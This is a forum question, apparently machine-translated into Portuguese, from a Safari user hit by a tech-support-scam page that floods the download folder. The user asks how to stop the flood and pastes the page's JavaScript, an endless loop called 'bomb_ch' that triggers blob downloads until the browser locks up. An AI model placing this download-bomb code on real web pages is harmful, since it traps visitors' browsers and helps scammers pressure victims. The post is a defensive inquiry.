fundo
Uma nova página de spam começou a aparecer em muitos sites "questionáveis" (sites de filmes etc.). Esta nova página de spam se encaixa na categoria de verificações falsas, MacKeeper, "VOCÊ TEM UM VÍRUS" etc.
Problema
O problema com esta nova página é que, em vez de apenas ter um pop-up, a página realmente inicia o download de arquivos aleatórios de 2kb (não prejudicial, apenas contém texto aleatório) repetidamente a cada ~ 1ms. A pasta de download é preenchida antes que você possa fechar a janela e você exclui mais de 1000 arquivos. Ao contrário, um problema semelhante no qual um spam de página abre a caixa de diálogo de impressão, há muito pouco tempo para reagir.
Tentativas de solução de problemas com falha
Tentei bloquear a pasta de download. Embora impedisse os downloads de ... bem ... baixá-los, uma caixa de diálogo (veja a imagem) aparece. Normalmente, eu poderia simplesmente ignorar esta caixa de diálogo, mas como o download é tentado a cada ~ 1ms, uma nova caixa de diálogo aparece toda vez que tento descartar, impedindo-me de fechar a janela.
Forçar o encerramento do Safari, que interrompe o download (após os downloads de 1k), mas depois perco todas as minhas outras janelas
Alterando as configurações para 'Solicitar cada download' nas preferências do Safari. Não funciona porque 1k de caixas de diálogo separadas é aberto e me impede de fechar a guia. Eventualmente, travando o Safari.
Questão
Como posso impedir downloads de spam no Safari?
ATUALIZAR:
Aqui está o código que está causando o download (conseguido desativando o JavaScript e examinando o código manualmente):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Nota: tive alguns problemas ao executar o JS em uma página personalizada. Ele congelou em vez de baixado. Consegui emular o download usando uma setInterval()
função que chamava de a download
função.
Mais informações: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/